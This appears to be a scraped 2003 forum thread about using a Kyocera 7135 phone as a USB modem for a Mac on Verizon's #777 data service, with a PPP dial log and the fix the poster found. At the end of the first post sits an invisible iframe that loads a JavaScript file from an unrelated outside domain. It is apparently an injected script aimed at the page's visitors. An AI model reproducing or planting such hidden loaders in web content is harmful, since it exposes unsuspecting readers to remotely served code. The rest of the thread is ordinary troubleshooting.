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  1. #1
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    verizon reports "data service unavailalbe" using 7135 as external modem

    (I'm moving this to a new thread, was imbedded in "Verizon Express Network thread).
    I'm using Verizon Wireless, QNC/#777 without EN and without Mobile Web.
    This works fine on the 7135 standalone.
    But I'm unable to use the 7135 as an external modem (via USB, connected to a Mac OS X powerbook). The Mac properly recognizes the phone and tries to send it dialing commands. Then the 7135, after starting off ok and saying "calling PPP call, #777", shortly thereafter reports "data service unavailable" and hangs up. I tried various modem drivers (both Kyocera_Wireless_Modem_1.2 and Verizon_Wireless_STD_Driver), and the same thing happens.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Techguru alanb's Avatar
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    Re: verizon reports "data service unavailalbe" using 7135 as external modem

    Originally posted by zolot
    (I'm moving this to a new thread, was imbedded in "Verizon Express Network thread).
    I'm using Verizon Wireless, QNC/#777 without EN and without Mobile Web.
    This works fine on the 7135 standalone.
    But I'm unable to use the 7135 as an external modem (via USB, connected to a Mac OS X powerbook). The Mac properly recognizes the phone and tries to send it dialing commands. Then the 7135, after starting off ok and saying "calling PPP call, #777", shortly thereafter reports "data service unavailable" and hangs up. I tried various modem drivers (both Kyocera_Wireless_Modem_1.2 and Verizon_Wireless_STD_Driver), and the same thing happens.
    Are you starting the Phone/Fax application on the 7135 first? The phone MUST be running the Phone/Fax application for this to work. Windows won't even see the phone on the USB cable if this applicatoin isn't running, but Mac OSX might.

    Alan

  3. #3
    Registered User KLiuLess's Avatar
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    Are you in motion, like in a car or train? The only time i've seen "data service unavailable" is when I moved into an analog area.

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    Re: Re: verizon reports "data service unavailalbe" using 7135 as external modem

    Originally posted by alanb
    Are you starting the Phone/Fax application on the 7135 first? The phone MUST be running the Phone/Fax application for this to work. Windows won't even see the phone on the USB cable if this applicatoin isn't running, but Mac OSX might.

    Alan
    Hi, Alan, and thanks again for your assistance. Yes, i tried both ways: running and not running FaxModem first (which is what I'm guessing you meant above when you said "Phone/Fax" application). But, as you guessed, this doesn't seem to be a requirement for my Mac: It is able to talk to the phone even if I'm not running FaxModem.... initiating the dial-out from my Mac will still cause the 7135 to go into "calling... PPP call" mode. And, since the 7135 is properly trying to dial the call, and since I get the error message (on the 7135): "Call could not be completed. Data service unavailable," this is what makes me suspect that Verizon might be being grumpy since I'm not paying for MobileWeb. Is it possible that they have different policies in different markets? I'm in the Boston area. (though I'm not sure how Verizion could even tell the difference between my 7135 using its internal VZW Quick2Net vs having my computer initiate the call to #777).

  5. #5
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    Originally posted by KLiuLess
    Are you in motion, like in a car or train? The only time i've seen "data service unavailable" is when I moved into an analog area.
    Hi, Kliuless. Nope... not in motion -- phone is resting on my desk. Thanks, though.

  6. #6
    Techguru alanb's Avatar
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    Re: Re: Re: verizon reports "data service unavailalbe" using 7135 as external modem

    Originally posted by zolot
    Hi, Alan, and thanks again for your assistance. Yes, i tried both ways: running and not running FaxModem first (which is what I'm guessing you meant above when you said "Phone/Fax" application). But, as you guessed, this doesn't seem to be a requirement for my Mac: It is able to talk to the phone even if I'm not running FaxModem.... initiating the dial-out from my Mac will still cause the 7135 to go into "calling... PPP call" mode. And, since the 7135 is properly trying to dial the call, and since I get the error message (on the 7135): "Call could not be completed. Data service unavailable," this is what makes me suspect that Verizon might be being grumpy since I'm not paying for MobileWeb. Is it possible that they have different policies in different markets? I'm in the Boston area. (though I'm not sure how Verizion could even tell the difference between my 7135 using its internal VZW Quick2Net vs having my computer initiate the call to #777).
    It is defenitly not anything to do with Mobile Web. It could, I suppose be something to do with a mis-configuration on your account, assuming that VZW can tell the difference between a call originated on the phone v.s. through the phone. I am leaning towards something in the dialing configuration on the computer, but I don't know enough about MAC's to provide any advise on what to look for. Do you have any friends with PC's where you can test? I can defenitly help with the configuration on a Windows (98 or 2000 with certainty, XP probably) PC.

    Alan

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    Re: Re: Re: Re: verizon reports "data service unavailalbe" using 7135 as external modem

    Originally posted by alanb
    I am leaning towards something in the dialing configuration on the computer, but I don't know enough about MAC's to provide any advise on what to look for.
    Alan
    i've got a PC (which i don't use much, and doesn't have much software (i.e. the modem scripts)), but if need be I could dust it off and try to use it. Before doing that, here are the dialing/PPP preferences on my mac: The only seemingly interesting ones I can set are:

    "send ppp echo packets" (currently not selected),

    "use TCP header compression (selected), and

    "enable error correction and compression in the modem" (not selected).

    And my modem log (verbose=on) is reporting:Fri Apr 25 16:55:21 2003 : CCLWrite : AT13
    Fri Apr 25 16:55:21 2003 : CCLMatched : OK1310
    Fri Apr 25 16:55:21 2003 : CCLWrite : AT&FS7=9013
    Fri Apr 25 16:55:21 2003 : CCLMatched : OK1310
    Fri Apr 25 16:55:21 2003 : CCLWrite : AT13
    Fri Apr 25 16:55:21 2003 : CCLMatched : OK1310
    Fri Apr 25 16:55:21 2003 : Dialing #777
    Fri Apr 25 16:55:21 2003 : CCLWrite : ATDT#77713
    Fri Apr 25 16:55:21 2003 : CCLMatched : CONNECT1310
    Fri Apr 25 16:55:27 2003 : Serial connection established.
    Fri Apr 25 16:55:27 2003 : using link 1
    Fri Apr 25 16:55:27 2003 : Using interface ppp1
    Fri Apr 25 16:55:27 2003 : Connect: ppp1 <--> /dev/cu.usbmodem0115
    Fri Apr 25 16:55:28 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:31 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:34 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:37 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:40 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:43 2003 : sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7e261f8f> <pcomp> <accomp>]
    Fri Apr 25 16:55:45 2003 : Hangup (SIGHUP)
    Fri Apr 25 16:55:45 2003 : Modem hangup
    Fri Apr 25 16:55:45 2003 : Connection terminated.

  8. #8
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    Hey, AlanB... nice goin! Based on your suggestion to play with the modem dialing settings, i may have come upon something: Toggling "enable error correction and compression in the modem" to on got me connected!!
    It seemed rather slow (compared to when I used the same set-up on a Startac), but I'll give this some time. I also haven't tried this enough times yet to know whether it was really the toggling of the setting, or if it was just luck of the draw (i.e. if this is an intermittant problem unrelated to error correction/compression). So if anybody else out there has experience using the 7135 as an external modem via a USB cable to a Mac, please chime in!
    Thanks

  9. #9
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    I am trying use 7135 as a modem for my laptop and I am getting the error 720: ....remote computer could not agree on PPP control protocols. I followed the directions in the Facts page to no avail. I am running Windows 2000.

  10. #10
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    any suggestions?

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